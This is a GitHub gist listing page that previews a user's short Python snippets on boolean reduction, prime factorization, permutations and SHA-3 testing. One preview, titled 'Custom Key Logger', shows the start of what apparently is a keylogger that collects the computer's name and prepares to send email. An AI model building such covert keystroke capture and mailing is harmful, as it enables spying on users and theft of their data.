Skip to content

Instantly share code, notes, and snippets.

View back-seat-driver's full-sized avatar

back-seat-driver

View GitHub Profile
@back-seat-driver
back-seat-driver / Boolean Reduction
Created July 10, 2017 19:40
Quine-McCluskey Algo
import numpy
import itertools
from GREY_CODE import G_C
def sb(size,num):
to_return=[]
for i in range(num):
to_return.append(str_build(list(numpy.random.randint(2,size=(size,)))))
return(to_return)
#from Primes_Under_1_000_000 import prime_list
#from random import randint
##from rsa_list import rsa
##
##from UNIQUE_VARIABLES import U_V
def gcd(x,y):
while y!=0:
(x,y)=(y,x%y)
@back-seat-driver
back-seat-driver / Permutations
Last active July 25, 2017 22:18
Permutations
'''
Tree decision method with != operator.
'''
def unique_variables(LIST):
to_iter = len(LIST)
total_items = []
for i in range(to_iter):
insert = LIST[i]
total_items.append(insert)
@back-seat-driver
back-seat-driver / Prime Factorization Algorithm
Last active July 25, 2017 22:18
Prime Factorization Algorithm
from Primes_Under_1_000_000 import prime_list
'''
To return the prime factorization of a number
'''
def is_div(v,n):
if v%n==0:
return(True)
return(False)
from theta_data import theta_data
from theta_index_data import theta_index_data
from theta_delta_data import theta_delta_data
def bin_n_bit(dec,n):
return(str(format(dec,'0'+n+'b')))
def bin_8bit(dec):
return(str(format(dec,'08b')))
def reverse(LIST):
to_return=[]
for i in range(1,len(LIST)+1):
to_return.append(LIST[-i])
return(to_return)
def initialized_set(n):
set_multiple = int(0.5*(2**n))
return([[0]]*set_multiple + [[1]]*set_multiple)
@back-seat-driver
back-seat-driver / Custom Key Logger
Last active July 25, 2017 22:36
Custom Key Logger
import win32api
def name_return():
#Will return computer str name
return(win32api.GetComputerName())
def send_email():
import smtplib
from email.MIMEMultipart import MIMEMultipart
i = 2
n_0 = 4
while True==True:
v_2 = (float(1)/float((i*4)-3))
v_3 = (float(1)/float((i*4)-5))
n_1 = float(n_0) + (4 * (v_2 - v_3))
n_0 = float(n_1)
i+=1
print(n_1)
@back-seat-driver
back-seat-driver / Differential Testing Dump
Last active July 28, 2017 00:04
Differential Testing Dump
####TESTING######
'''
CRYPTO PROOFS
'''
'''
def SUB_PROOF(sub_set,theta_input):
#This function is checking if each index location contained in subset is either
#a set of 1's or 0's in theta's input.
to_check=[]
@back-seat-driver
back-seat-driver / SHA-3 Zero Point
Last active July 28, 2017 00:05
SHA-3 Zero Point
def keccak_(ip):
for i in range(24):
ip=iota(chi(pi(rho(theta(ip)))),i)
return(ip)
zero=['1100110001001101000111100111110100011100011110010010000000111110',
'0110101100110010001101101000110101010000010100110101111110010011',
'1001011100010011110100011100111000001010100011111011001010001101',
'0000010001110000101100000100101001111011011000011110000101001101',